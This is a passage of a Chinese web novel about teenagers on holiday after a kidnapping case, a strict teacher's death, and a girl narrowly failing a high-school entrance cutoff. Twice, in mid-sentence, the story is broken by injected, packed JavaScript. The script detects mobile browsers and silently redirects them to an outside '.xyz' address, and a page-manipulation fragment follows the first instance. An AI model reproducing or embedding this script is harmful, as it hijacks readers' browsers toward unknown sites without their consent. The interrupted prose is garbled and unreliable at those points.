肖波指了指笔录,“人家妈就是在美容院打工的,都没读过几年书,能用咱妈的格局要求人家吗?她能知道这里面的利害关系,能有这种牺牲精神吗?少在这给我逮着机会就吹你的正处级妈妈,知道咱妈快升了。” “现在还是副着呢。” 肖波再次将笔录资料怼怼齐在桌上敲了三下,说:“如果这次案子关于李映桥的部分细节披露出去,肯定会有人把之前小画城的案子翻出来,两件轰动全城的案子都跟她有关系,李映桥还只是个准高中生,你仔细品品,她妈担心得有没有道理。” 轰动全城倒也是有点夸张,两件案子都不太复杂,只是都有特殊性——一件是人人憎恶的打拐案件,在警方发出了协查通告之后,在人口拐卖最猖狂那几年确实风声鹤唳,人人自危,引起了家长们的高度警惕,小糕点的案件流传度很广,也算是引起了全城轰动。 而这次这件绑架案能在丰潭掀起波澜,无非也是因为俞人杰是当地的木玩领头羊,一九八二的那只小木马的横空出世,从此打开丰潭的木玩经济。 一三年的丰潭木玩产业更是迎来了最鼎盛的黄金时代。那时的丰潭木玩不光在国内市场独占鳌头,海外订单源源不断。俞人杰那几年的身价一年翻一番,在海内外更是享具盛名,从一个普通的地方企业做成了行业的龙头。就连丰潭这么一座名不见经传的三线小城,硬是靠着一块块榫卯拼接出来的小木头,逐渐在大众视野里有了姓名。俞人杰更是被赋予“木头大王”这么个众望所归的称号,被老婆儿子笑了好几年。 不过木头大王的独生子被绑架,在当年确实也引起了不小轰动。所以这两件案子虽然不太复杂,但丰潭确实无人不知,无人不晓。 在警方出通告之前,俞人杰让唐湘和梁梅带着津杨还有李映桥、郑妙嘉、小糕点这一串糖葫芦去海南度假了,哦还有个朱小亮,长得像个二五坎,说话让人很想砍他,谁让他这辈子最讨厌的就是老学究。 俞人杰选择留在丰潭善后——这次绑架的幕后主使还没揪出来,警方那边也说这次绑架案还有些疑点需要捋清楚,以及他还得防着那些见缝插针的媒体,顺藤摸瓜拿李映桥的事大做文章,那李姝莉会毫不犹豫给他俩巴掌拌蒜吃。 他爷爷的,这次这个人情欠大了,怎么还呢? 要不把李武声绑架了,再给放了,再绑架了,然后再放了……弄个半死,再给他救活了。 “别弄了,再弄它就死了。”俞津杨说。 李映桥丝毫不以为意,两指捻着螃蟹壳,飞过来又飞过去,坐在海滩的礁石上,迎着风浪,表情惬意得很:“死了正好可以蒸了吃。” 海浪声太大,俞津杨大声在她耳边吼:“螃蟹要活着蒸!” 李映桥听见也装作没听见,玩得不亦乐乎:“什么什么?再说一遍,没听见。” 他面无表情地看着她,知道她听见了。 他也实在不想跟她争执为什么死螃蟹蒸着吃了要拉肚子这件事,李映桥一定会翻着白眼骂他一身少爷病。但他本来就不爱来海边,知道这是他爸跟他妈的爱情海之后就更不爱来了,海边又脏又臭,简直是细菌培养皿不说。 最讨厌的就是李映桥,动不动撩一捧海水往他身上泼,非把他弄得浑身上下都湿透才作罢,还笑他身材干瘪,说可以拿他当冲浪板。 “怎么样,我这肱二头肌还行吧。”高典在身后的沙滩上和郑妙嘉卖弄说。 郑妙嘉咦了声,“一般,不过比俞津杨的好点。” “……” 本来好不容易从绑匪手里逃脱,老爸老妈正是对他有求必应的时候,谁知道,来了海南之后,他又成了食物链的底端。 俞津杨回头看了眼,老妈正乐不可支地在和梁梅说什么八卦,笑得见牙不见眼,那个叫朱小亮的数学老师,正在慢条斯理地擦着眼镜片,脑子里估计还在算海浪的波动方程,刚让他们算,他们吓得鸟兽散,才跑来这里捉螃蟹。 他打算回去了,不如和朱小亮探讨分形海岸线。 “妙嘉,”李映桥突然对手上的螃蟹不感兴趣了,转头发现新大陆一样,兴奋地去叫郑妙嘉,又莫名压低声音,“啤嘶啤嘶,妙嘉,有帅哥。” 只见一个肱二头肌大得跟装了两个发育不良的椰子、后背晒得像二维码的男人从他们面前拿着冲浪板大摇大摆地走过去。 他还把冲浪板夹在胳肢窝里。 不讲卫生。 “好帅啊,”李映桥由衷地赞叹道,“他夹着个俞津杨就过去了——” 俞津杨目光冷冷瞪她:“……” 李映桥当然不管的,眼睛直勾勾地盯着那人的后背和郑妙嘉说:“他好像在做防晒测评,一格格画得好标准,妙嘉,快记一下,开学我们要军训的,看起来最白的是最中间那格,你们谁去问问他那格是什么防晒。” 高典自告奋勇,没两分钟就喘着气回来了:“——树叶片子。” “什么牌子?” “没牌子,他中间那格就用树叶片子挡着,效果最好。” 李映桥:“……” 郑妙嘉笑得在沙滩上给自己滚面糠。 李映桥啧啧两声,看着不远处被海滩直射的日光镀了一层金边的大哥,想看看他是怎么冲浪的,那大哥大约也是察觉自己是这几个准高中生的焦点,准备拿出自己的看家本领让他们开开眼。 只见他脚尖轻轻一蹬,冲浪板如同一片轻巧的树叶游刃有余地滑向浪尖,溅起的浪花俨然成了他的表演阶梯,一层层毫不费力地拾级而上,海浪将他托起,像俯瞰的王者,惊起沙滩边一阵阵此起彼伏的尖叫声。 这短暂的滑行倒是吸引了不少目光,只是下一秒,前方滚起一堵丈米高的浪墙,他娴熟地转弯,又一个相当耍帅地急停和摆尾,“噗通”一声,他连人带冲浪板被埋了,只露出一个屁股在海面上晃啊晃。 “哈哈哈哈。”海滩上尖叫声,变成轰然的笑声。 哥们很坚强地从岸边爬出来,即使狼狈,即使窘迫,他摸摸脑袋,有种逗大家一乐也行,拎着冲浪板踢着正步走了。 “很帅啊!”李映桥还是大力地给他鼓掌。 哥们转头看过来,正儿八经一抬手从太阳穴划出来一个手势,以示感谢。 李映桥哈哈乐,又回头看了眼遮阳篷下,发现向来暴躁的梁梅在海风的吹拂下都变得温柔起来。 脾气再硬的大人,好像到了海边都变成海绵,好有意思。 她又横斜俞津杨一眼,怎么喵喵到了海边,却变成难伺候的喵少爷,啧啧。 不管,海边真好玩,她还要来玩。 晚上在酒店自助餐厅的时候又碰见那哥们,不过他穿着衣服了,穿上衣服就装正经,完全当作没见过他们,没出过丑。李映桥时不时拿眼神瞥他,觉得他真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555829|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的很有意思,这人怎么那么搞笑。 吃完饭,回酒店房间的走廊上,高典还不忘安慰俞津杨:“没关系,她们俩还小,审美是有点剑走偏锋,我们杨仔这种才是潜力股,以后绝对又高又帅还有八块腹肌和你爸的钱,杨仔,咱不鸟她俩,你大人不记小人过,到时候记得扶持扶持兄弟我啊。” 高典的广东口音已经是深入骨髓,总莫名其妙叫他杨仔。 俞津杨嘴角抽抽,看着高典,“你不懂。算了,跟你讲不明白。” 高典嗅觉很敏锐,勾住他的脖子放慢脚步,在他耳边低声说:“喵喵,你不会……” 俞津杨蹭一下红了耳朵,“不是!你想什么呢!” 苍天啊,他只是在想,如果李映桥知道他是怎么从绑匪那里发出这条信息,一定会把他搓圆揉扁狠狠揍一顿,揍到他妈都认不出的。他后来录笔录都是涨红着脸录完的,他爸知道后也是瞠目结舌,回家后足足给他做了三天的思想教育工作。 说他不开窍,他其实也懵懂。但说他完全开窍,他更是懵懂。 高典拉着他回了自己的房间,俞津杨有点不耐烦,蹙眉梗着脖子没那么想跟进去,他不想跟他聊这个话题,连爸妈都给不了他明确的答案,高典一个跟他一边大的准高中生能明白什么。 高典却神秘兮兮地锁上门,把他摁在房间电脑前的椅子上,一边伸手去开电脑,一边压低声音跟他说:“你看片么?听说看完这个就很容易懂了。” 好了,俞津杨连脖子都红了,他腾地站起来,椅子腿重重地往后一退,发出刺耳的刮擦声,他几乎整个人弹到窗户边:“不是,小糕点,你脑子里都装点什么啊?” 高典也愣住,讪讪地收起先前迫不及待的表情,又把电脑一关:“那你爸妈给你教育什么?” 俞津杨人站在窗户边,不忍直视地用力扯了下窗帘,不想同高典直视,不料窗帘落下去,高典仍好奇地盯着他,同他大眼瞪小眼片刻后,他无语地瞥向屋外,这才破罐破摔地同他讲说:“教我怎么确定喜欢一个人,教我怎么爱一个人,教我怎么对一个女孩好,不行吗?” “怎么确定啊?”关于这方面,高典太想进步了,无孔不入地学习,“你爸怎么说?” “他说,喜欢一个人,首先,你要愿意为她去死,比如我爸,他为我妈跳过海。” “……节日哥这么激烈呢?”高典震惊。 “我妈的丝巾被海风吹走了,他以为我妈没了,紧跟着就跳下去了,还好旁边当时人多,给他捞上来了。” 高典:“……那我不死,我死了,我爷爷奶奶爸爸妈妈怎么办。” 俞津杨靠在窗户边,又想了想,沉声问:“高典,我拿李映桥当兄弟,在我这里,她和你一样,和郑妙嘉一样——” 高典趴在椅子上突然哈哈笑出声:“杨仔,我知道你在想什么。” “想什么。” “是不是你们家长辈打算让你以身相许了?”高典说。 俞津杨皱着眉“啊”了声,茫然又迷惑:“什么意思?” 高典压低声音说:“说实话,当初我爷爷奶奶就是这么跟我爸妈讲的,让我爸妈上李阿姨家提亲去,报答李映桥的救命之恩,李阿姨拿着菜刀追出来说我们恩将仇报。我爸妈才带着我逃到深圳去的。” ***** 中考成绩发布那天,几个小孩刚好从海南打道回府,在飞机上睡了一觉,又从机场转大巴回到丰潭,俞津杨全程戴着耳机,另外几个小孩也都戴着帽子,全程摆着一张酷酷的脸,彼此也不怎么讲话,一路上就这么引人注目地回程。 显然是要查分了,彼此都有些紧张。 梁梅和朱小亮气压也低,俩人坐在机场摆渡车上,朱小亮破天荒地安慰她:“梅姐,你要放平心态,谭老师也知道你是跟她呕气,李映桥原先那个成绩,能考上普通的高中都已经是奇迹,真让她考上潭中,那咱俩也别闲着,真可以弄个培训机构,说明咱俩的教育方针绝对是很OK的。” 梁梅看着车窗外:“我说过,李映桥是我最后一个学生,我不会再当老师了。” 朱小亮:“……你和谭老师真是一个比一个犟,就不肯服个软吗?” 梁梅说:“朱小亮,你也别忘了,咱俩的赌约,如果李映桥真考上了,你说过的,你要回去接着当老师。” 话音刚落,摆渡车里,梁梅刚刚开机的手机突然开始剧烈地震动起来,一连串在飞机上被屏蔽掉的短信息争先恐后地涌入进来,手机震动地像一条垂死挣扎的信鸽,在扑棱着它的翅膀,拼命将最后的消息试图隔着屏幕弹出来: ——胡:在哪? ——胡:看到速回电。 ——胡:梁梅,谭老师要见你最后一面。 ——胡:节哀,谭老师刚刚走了,她说,孤儿院旁边那套房子留给你,后事由你全权负责。 20.第十九章 谭秀筠一生无子无女,独居在丰潭孤儿院旁那栋灰扑扑的筒子楼里。九七年,梁梅“砰”一声用石头猛然砸开她厨房的玻璃窗,紧跟着扔了几个臭鸡蛋进去,碎玻璃溅一地。谭秀筠至今都没将那扇窗户重新按回去。 梁梅几次主动提出要帮她修缮,她拒绝了,重新按回去,还是会被打碎,梁梅从来不是第一个,也不会是最后一个。 谭秀筠这个人很矛盾,她是退休后义务在孤儿院教书,即使丰潭当地有中学想把她返聘回去,她也没答应。但她又不像其他义工老师们温柔,对孩子们很有耐心。 谭秀筠教书脾气不好,动不动还体罚,所以学生们最讨厌她,总是爱偷偷去她家砸玻璃窗。梁梅砸过,朱小亮砸过,通知梁梅谭老师死讯的胡正也砸过…… 梁梅被抓那次,朱小亮和胡正其实也在。谭秀筠给他们每个人都煮了一碗面,朱小亮和胡正没有鸡蛋,唯独梁梅那碗里有个臭鸡蛋。梁梅不服气地把臭鸡蛋挑出来,谭秀筠却板着脸逼她吃下去,对她讲,如果吃不下去就告诉院长,要把他们赶出福利院。 梁梅一听要告诉院长,连忙就拿起筷子就囫囵吞枣往下咽。朱小亮和胡正一见她那碗那么臭都开始吃了,两人二话不说也跟着拿起筷子。 吃到嘴里,梁梅才发现鸡蛋没有想象中那么臭,但谭秀筠确实没那么好心,因为谭秀筠在面条里放了很多辣椒,吃得他们三个面红耳赤,呛得像条哈巴狗,频频吐舌头要水喝。 谭秀筠是个有仇必报的人,她对谁都没有什么好脸色,说话也相当刻薄,用梁梅的话讲,谭秀筠看不上所有人。她可以为了手机话费和移动电话端那边的客服用最难听的字眼问候人家祖宗,但又会自己掏钱给她当初在镇上教书那些留守儿童的爷爷奶奶充一百两百的话费,只为了能知道学生为什么最近没来上课。 梁梅他们三个也因为那碗面,始终都憋着一口气想找机会报复谭秀筠。可不过十来岁出头的孩子哪斗得过执教近四十年的老江湖,谭秀筠什么顽皮蛋子没见过? 偷鸡不成蚀把米,他们反而经常被谭秀筠拉进去背书,背不出来就打手心、罚站、绕着院子青蛙跳,各种层出不穷的手段整得他们服服帖帖。在谭秀筠一顿顿戒尺、一次次靠墙倒立的耳提面命中,这几个榆木脑袋终于开窍了。尤其朱小亮,简直一发不可收拾地爱上数学。 这么多年,梁梅和谭秀筠很少有心平气和坐下来讲话的时候,每次见面必吵架,最近一次还是因为李映桥,梁梅挑中李映桥这条小鱼和谭秀筠打赌,试图证明自己比她更有资格当老师,谭秀筠看了李映桥的各科成绩,直接拍着桌案把梁梅骂了个狗血喷头—— “梁梅你脑子有坑是不是?!你算个什么东西,教了几年书真拿自己当救世主了?现在的小孩能跟从前比吗?人家爹妈都不急,要你在这装蒜?你有没有想过,要是考上了,后面还有高考,家长赖上你怎么办?考不上,又怪你耽误人家孩子!你到底有没有脑子啊?别给我误人子弟!” “谭秀筠,"梁梅从来都直呼其名,从小就这么叫,冷笑着回,“这是你教我的。当初是你说,女人可以靠读书改变命运,而不是靠嫁人,现在你说我误人子弟?” 谭秀筠被她气得怒火中烧,说话更是刻薄:“那是因为你是孤儿,你不读书你还能干什么!你有家庭给你托底吗!我跟你说过什么?读书从来不是唯一的出路,但读书是你们这种又懒又笨的人唯一和别人能公平竞争的机会,聪明人在哪都不愁吃喝,你这种笨蛋才需要读书!如果你连这么死板的书都读不会,你还指望自己能为社会做什么!” “我是笨蛋。对,李映桥不是,我让她读书,反而还害了她!就你配一声谭老师是吗?” “她要读书也不该跟着你读,你那半吊子学问还是算了吧,你能教出什么好苗子来。梁梅,我当初逼你读书,是因为你什么都没有,还算有点小聪明。读书是你唯一的依仗,我从来没指望你能回来当老师,你也从来都没想过为什么,我谭秀筠要的从来不是你们能出人头地!” 梁梅当时没吭声,她觉得谭秀筠老了之后越来越假,活得越来越装模作样,更道貌岸然了。明明也爱钱,明明也爱些虚名,至少从前她不会明目张胆地说我是为你们好,哪怕因为这暴脾气被学生们诟病一辈子,即使被误解、造谣、诽谤,也从没解释过半分。 但她现在永远高高在上地端着老师架子,一副我什么都不图,就图个心安的清高劲儿。反而还是她从前那副睚眦必报的嘴脸更讨人喜欢点。 “那你说,你要什么,”也不顾当时朱小亮和胡正僵硬的脸色,梁梅是横着一颗石头心要和谭秀筠做个了结,“我一个孤儿,无父无母,一辈子就拿这点三瓜俩枣的工资,这一生坦坦荡荡。吃了你一碗面,承了你几年师生情,我全都还给你。你说吧,你要什么。” 眼见谭秀筠听见这话后,脸色刷一下惨白,剧烈的争吵后,人虚脱地躺在病床上,嘴唇颤抖着却吐不出一个字来,向来刻薄的谭秀筠很少会被人噎到讲不出话来。 朱小亮当然于心不忍,替她盖上被子,低声劝慰说:“谭老师,梁梅她嘴硬心软,您知道的,千万别往心里去。那学生我见过,还算是个苗子,我和梅姐说好了,如果李映桥真的能考上潭中,将来三年高中,我们也不会松懈,我和梁梅一定会把她送进名牌大学。” “为……什么。”谭秀筠有些意外地张了张嘴。 朱小亮说:“您还记得,您问过我的三个问题吗?是托尔斯泰那本《人靠什么活着》里面上帝问天使的三个问题:‘人心里有什么’,‘什么是人无能为力的’,‘人靠什么活着’。天使得出的结论是爱。我们也知道,您一直在对我们践行第三个问题,您从来没指望我们出人头地,您只是希望我们能活下去,不管因为什么。” 从前活着很难。谭秀筠一辈子都没能弄明白,她这样刻薄、别扭的人,即使在读到托尔斯泰那本书的时候,她也是满腔不屑和鄙夷,爱?爱这么虚无缥缈的东西,谁会靠这个活下去。她反倒觉得恨最真实,恨那些不得好死的人,见到他们不得好死的下场,才是支撑着她活下去的动力。所以她觉得,与其说爱,不如说恨才能让人活下去。 如果不是谭秀筠那碗面,梁梅、朱小亮、胡正这样顽劣不堪的性子,早就在街头巷角混成了少管所后备役,他们哪有什么正确的是非观,十岁出头的年纪就敢拿石头砸老师的玻璃窗,再大点就算是把天捅个窟窿也没人奇怪。没人会怜悯他们,但谭秀筠见过太多这样的顽皮赖子,梁梅朱小亮胡正他们几个都算不上最刺头,她完全有能力把他们拉上正轨。 但梁梅肚子里有多少货,她再清楚不过,她能走到今天,全就靠那么一口气撑着,撑着就撑着吧,她不想和她吵了。 谭秀筠缓缓闭上眼,眼泪从两侧溢出来,嘴唇颤得却更加厉害,她没想到,这些话这辈子能从数学呆子朱小亮嘴里说出来,连他都明白。梁梅是有多恨她,临了临了,连句松快话都不肯给她。 “你们走吧,我累了。下次来别拿这么多水果,我一个人吃不了。” 那是她们之间最后一次对话。 梁梅再也没去过。胡正上周问她要不要一起去看看谭老师,梁梅想着中考成绩还没出来,去了也是没完没了的吵架,她也不想再气她了,于是给胡正回复说等李映桥出分再去看她。 她还特意去楼下的水果店提前订了很多很多当季的水果,全是又贵,她又不爱吃的。她偏就要拎着琳琅满目的水果去,还要把水果店搬过去,给她满满当当地摆满整个疗养病房—— 她就坐在她的病床旁,大口大口地吃着水果,等她吃个够,把果汁吸得啧啧作响,吸得床上那人破口大骂,然后她也不会和她生气,绝对不和她拌嘴,她只会把手机的查分系统拍在她床头,轻描淡写地告诉她:“谭秀筠,这我学生。” 她最爱看谭秀筠吃瘪的样子。 谭秀筠一定会说:“没脑子的东西,一次中考能证明什么。你能管她一辈子吗?” 你说啊! 谭秀筠你怎么不说话了。 *** 成绩发布当天,丰潭热得像个窑,简直是要把人当瓷器烧。李姝莉刚从银行回来,在楼下农贸市场买了点菜,晚上准备给桥桥做几个大菜好好庆祝,不管考没考上,总之,这段时间的辛苦她是看在眼里的。 李姝莉拎着条鱼准备拿钥匙开门时,隔壁的柳阿姨正巧也出门,一瞧见李姝莉迫不及待说:“姝莉啊,要不要一起去刮个痧,最近楼下新开了家刮痧店,有开店大酬宾,充五百送两个刮痧板。” 坑货,五百能买五百个刮痧板。 李姝莉面不改色地用钥匙拧开门:“不了,等会儿桥桥出成绩了,我得在家给她做饭,你们去吧。” 柳阿姨又“热心”地劝她说:“你是真一点儿钱也不给自己花啊,姝莉,你别怪我多嘴,桥桥是不是也快上高中了,你其实也可以考虑再找个人搭伙过日子,不然等桥桥去上大学,你一个人留在家里也寂寞,你也该适当适当捯饬一下自己。” 李姝莉独身带孩子在丰潭这么个封建鸟巢里生活,其实从李映桥五岁开始,这样的话就在她耳边没断过,当年她在小画城开杂货铺的时候,邻居也因为心疼桥桥晚上睡在货架子中间连翻个身都不容易,让她再找个人嫁了,两个人可以努努力在丰潭买套房子,至少给桥桥一个找个爸爸。 结果给李映桥急得晚上立马躺在被窝里和她讲说:“妈妈,你不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱小亮正在和胡正汇报这次成绩,胡正虽然没见过这几个孩子,但也知道梁梅对这件事的执着程度,在电话那头也喟然长叹:“那你要好好劝劝梁梅了,现在对她是双重打击。另外那三个孩子呢?” 朱小亮说:“有一个也是卡线,另外两个应该没问题。” 果然,一周后,潭中公布今年的录取分数线,朱小亮预估得一分不差,李映桥差五分,高典刚好卡线过了,郑妙嘉和俞津杨的成绩不相上下,远超潭中今年的录取分数线,这俩保不齐可能还要进潭中的重点班。 公布分数线当天,朱小亮决定去一趟李映桥家,问了郑妙嘉和高典没人知道地址,只有梁梅知道,梁梅在忙谭秀筠的后事。 他想了想,还是打给俞津杨,“你知道李映桥家在哪吗?我想和她妈妈谈谈,或者咱俩一起去趟李映桥家。” 李映桥给了俞津杨地址,但她们家不是那种小区标准的几栋几户,非常不好找,她在这住几年都分不清她们家是几门几号,于是让他俩坐公交车到农贸市场那站下,她过去接他们。 俞津杨这辈子是头回坐公交车,就坐在朱小亮的腿上。 农贸市场这站的人特别多,公交站牌还没到呢,一堆人就拎着东西急匆匆要下车,跟即将泄闸的洪水似的,一股脑全往门口涌过去。懂礼貌的俞津杨想给各位拎着鸡鸭鹅的大爷大妈让个路,结果大爷大妈们根本不需要他让,一膀子给他薅到朱小亮腿上。 朱小亮是见怪不怪,农贸市场这站,只要下车鞋子还在,就算他们客气。 然而俞津杨没见过这阵仗,他都来不及叫出声,车里的鸡鸭鹅叫得比他惨,车刚停稳,正当他要扶着座椅站起来的,就看见李映桥的脑袋在车窗外,竟然差不多和车窗齐高,她还把头伸进来:“俞喵喵!你看我多高,脑袋能钻进来!哇,你竟然坐朱老师腿上!” 俞津杨吓得连忙把她脑袋给塞进去:“……你有毛病啊,等会儿司机开车,你脑袋掉车里了!我是被人推的!” “谁,谁推你。”李映桥眼神瞬间像探照灯似的,在车厢内一副激光扫射的样子,“我顺他两个鸡蛋他没话讲吧?” “……” 等俞津杨终于跟着人流从车上下来,不紧不慢地跟在朱小亮的身后,一边走,一边弯腰看着她的眼睛,看了又看,“还能跟我开玩笑,看来你没考上潭中也没事?” “那不然呢?我要抱着你哭吗?”李映桥说着,拿脑袋蹭了蹭他胳膊肘儿,竟真洋腔洋调地哭起来,一边拿他的短袖口假装擦眼泪,一边吭哧吭哧说,“俞喵喵——我好惨呐,竟然只差五分!五分呐,我好不了了,这辈子都好不了了。你给我跳个舞吧,我需要点乐子——」 俞津杨说:“让朱小亮跳。” “……别玩他了。”朱小亮一把捞过俩小的,“走,我跟你妈说点事。” 21.第二十章 “啊?差五分啊?”李姝莉听朱小亮的意思是,潭中的借读生名额还能争取,只要花点钱还有机会。但是潭中借读费一视同仁,且贵得离谱。差一分也是四万,差五十分也是四万,最气人的是,还要摇号,摇不中说明你运气差点,捧着金山银山也进不去。 “那就算了呗,也不是非要上潭中的,我们去附近的溪明中学就好了呀。”李姝莉正在厨房用菜刀专心致志地刮鱼鳞,头也不回地说。 “……” 朱小亮听得直吐血。李映桥就算没考上潭中,她只差潭中五分,以她的成绩在丰潭,除去潭中,就只有瑞江中学还勉强能上,但瑞江是丰潭前两年刚成立的国际私立高中,师资力量和潭中不相上下,但学费确实也贵,专供俞人杰那些老板的小孩读的。 小县城的教育资源有天堑,潭中是普通学生唯一能看得见且够得着的一条出路。 能考上潭中自然无话可说,考不上的,尤其像李映桥这个分段的,家长们要么砸锅卖铁送他们去上瑞江高中,要么咬咬牙寄宿到市里的普高。 怎么可能会往乡下的溪明中学送?简直自毁前程,那前面他们的所有努力都付诸东流了。 李姝莉是真的不知道读书有多重要,还是装不知道?朱小亮起初以为是前者,梁梅和他讲过李姝莉这个人是她见过最反人类的家长,她说过只要李映桥快乐健康,读书读到什么程度她不强求。 朱小亮想,如果李映桥出生在其他家庭,她这会儿早就在潭中一员。偏偏她又是李姝莉的女儿,不得不说,李姝莉的爱滋养了她的惰性。 这么好一棵苗子,前后加起来这么点时间,他都觉得惊奇——上次绑票案,她能在那么短的时间里给出那么多想法,一一排除后,又能在短时间内想到公交车的列车时刻表,这种种反应都足见这个女孩的聪慧。 朱小亮坚信,只要给她一点时间,李映桥别说考潭中,隔壁庆宜最顶那所高中她也完全有机会。朱小亮越想越不甘心,倚在厨房门口,孤男寡女的,他也不好进去,又怕李姝莉听不清,只好站在门口和她苦口婆心地大声分析丰潭这几所学校的师资力量。 “溪明的老师都是我们班以前最差的几个学生分配过去的,李姐,你想想看,你发着高烧去趟医院,一推开门看见你们村最笨的二狗子,坐在那给你开药,你就说你敢吃不敢吃吧?” 李姝莉假装没听见,去开抽油烟机。 朱小亮也拔高音量:“还有个语文老师,叫王蔺,是梁梅的前男友,纯纯渣男,跟他一起写教案,对面跟坐了个大烟囱一样,头顶一直滋滋地冒烟,牙缝比抽油烟机的污垢结得还黑,还厚,哇,李映桥要是在他班里上课那就精彩了。” “砰——”李姝莉把鱼扔回池子里,回头瞪他,似乎在说你没黑历史吗? “……”朱小亮咳了声,那眼神让他想起了自己在疯子港装疯卖傻的日子,是的,李映桥都跟他这个生啃金鱼的人学数学,王蔺那样的人,听起来总没他吓人。 “怎么样,牛不牛,一考完,我妈就给我买了,今年最流行的土豪金!”一进门,还没坐下,李映桥就迫不及待和俞津杨炫耀起她的手机,划拉着手机屏幕给他看,“我妈还给我充会员了,这个暑假我打算那都不去了,就在家看小说。” “……”他显然没在听,漫不经心地回,“哦,挺好。” 俞津杨是第一次来她家,朱小亮给他打电话时,他刚从练舞室出来,一身汗涔涔地沾着T恤料子,一看时间也没法回家先洗澡,想着挤一路公交,汗也被蒸得七七八八。 只是他总觉得自己身上还留着车上那一股子鸡鸭鹅的臊味,和她说话间,也忍不住揪起胸前的t恤,闻了又闻,活像只嫌自己脏却没法当着人舔毛的猫。 李映桥见他这样心不在焉,自己则坐在茶几上,故意拖着音调,上下打量着他建议说:“你要不要去洗个澡啊,喵喵少爷——” 俞津杨这才没再闻了,老老实实在沙发上坐着,从进门后他就没挪过位置,毕竟是独身母女的家,朱小亮不敢进厨房门,他眼神也不敢乱扫,视线要么在她眼睛里,要么在对面的墙上,片刻后,忍住嗅自己的冲动,看着她问:“那你潭中怎么办?” “别扫兴,行吗?”李映桥自顾自玩手机,“说两百遍了,考得上就上啊,考不上我有什么办法。” “郑妙嘉和高典也考上了,你只是差五分。” “喵喵,我们只是朋友,不是连体婴,不是要时时刻刻绑在一起,你们上你们的潭中,我去别的地方上学一样的啊,为什么非要大家一起上潭中。”李映桥拍了拍他的肩,以示安慰,“再说了,高考之后大家一样会分道扬镳,乖了,你要早点适应没有我的生活。” “……我和高典都说好了的。” “什么?”李映桥好奇地看他一眼。 “你救过我们,上了高中——”俞津杨咳了声,不是很愿意讲,但高典非说这样讲说不定李映桥绝对会答应。 “然后呢?” “……我和高典商量好的,上了高中,我俩给你当狗。如果你不在潭中,我俩不太方便。” 李映桥下一秒直接笑趴在茶几上。 俞津杨不高兴了,看她整颗脑袋埋在茶几里笑得像颗一摇一晃的不倒翁,倒过去又立回来,立起来没一会儿,又咯咯笑着倒下去。 “……” “李映桥,谭老师去世了。” 俞津杨坐在沙发上,两边手肘抵在膝盖上,后脊背是一道紧绷的弧线,他低头看着人坐在地板上、脑袋搁在茶几上的李映桥,他直视她的眼睛,不容她有一丝一毫的躲避,稚气未脱的少年,却莫名让李映桥感受到一丝不符他这个年纪的压迫感—— “就在我们出成绩那天,所以今天来的是朱老师。梁老师,她没有对你失望,她不来,只是因为她在处理她老师的后事。” 李映桥知道谭秀筠,也知道两人之间的赌约,更知道自己就是那个筹码,一开始无意间听朱小亮说漏嘴时,她其实不太高兴,被人当作筹码,当作赌约,谁会高兴。但朱小亮又和她说了不少谭老师的事儿,她一下子对这个执教四十余年的黑面罗刹好奇起来,梁梅答应她等考完试,带她去见见谭秀筠。 李映桥不是那么不识好歹的人,梁梅的付出她看在眼里,但自从出了成绩,梁梅再也没给她打过一个电话,通过一个消息,在李映桥单方面看来,自己这颗筹码对梁梅来说,就已经失去了利用价值,她对她很失望。 “我不在乎她对我失望不失望。”她梗着脖子说。 俞津杨像是从鼻腔里哼出一声冷笑,随手捡起茶几上正好散着袋子口的核桃,煞有介事地递到她嘴边,第一次这么打破砂锅非要和她杠到底的口气,说:“李映桥,嘴要这么硬的话,来,张嘴,一边儿敲核桃去吧好吗?” 李映桥没忍住踹他一脚。 他没躲,硬生生挨这一下,人往后仰,也没吭声地靠在沙发背上,面不改色地低头看着她,一副任由她怎么折腾他的样子。 谁料,李映桥得寸进尺,连连踹了他好几脚,在他的小腿骨上一脚又一脚。 “别踹了,你自己说说想法,”他不动声色地把脚给撇开,“想不想上潭中?” 她从地上起来,在他旁边坐下,这才坦然承认:“当然啊!但你刚也听朱老师说了,要四万。我们拿不出这么多钱,我不想为难我妈。” 俞津杨靠在沙发上扭头看她,突然伸出手递给她,束手就擒的两手腕往上一翻:“那还有个办法,你把我绑了,你也别要多,就四万。我爸肯定能给的。” 李映桥斜他:“……那跟你爸说拿一套柯南来赎有什么区别?” “……那怎么办,不过我今年还有点压岁钱,陆陆续续花得还剩下三万,我可以借你。本来想给太奶买个音响的,先借你好了。”俞津杨痛定思痛说。 李映桥侧身支着胳膊肘在沙发背上,拳头托着太阳穴,乜着眼瞧他,不怀好意地表情:“……喵喵,嗯?” 俞津杨觉得她这表情相当有深意。 “你想说什么?” “我没说什么啊。”她反倒无所谓地笑了笑。 “那你要不要我的压岁钱。”他又问。 “不要。” “为什么。” “俞津杨,我答应你,即使在溪明中学,我也会努力考上好大学,这样行了吧。” “四万块而已,李映桥,你没必要……” 李映桥刚要说少爷,四万块是你一年的压岁钱,却是我妈起早贪黑三年都攒不下的血汗钱—— 厨房那边李姝莉端着菜出来,叫道:“你们俩,过来吃饭。” 她摇摇头,拉着俞津杨从沙发上起身,“走吧,吃饭去,尝尝我妈的手艺。”拖着人走了两步,又压低声音在他耳边说,“敢提钱的事儿,你小心你金贵的后脑勺。” 朱小亮这么个热脑壳,完全没考虑到是饭点,李姝莉虽然没问,这个点过来也自动自发把他俩的饭也给煮上了。 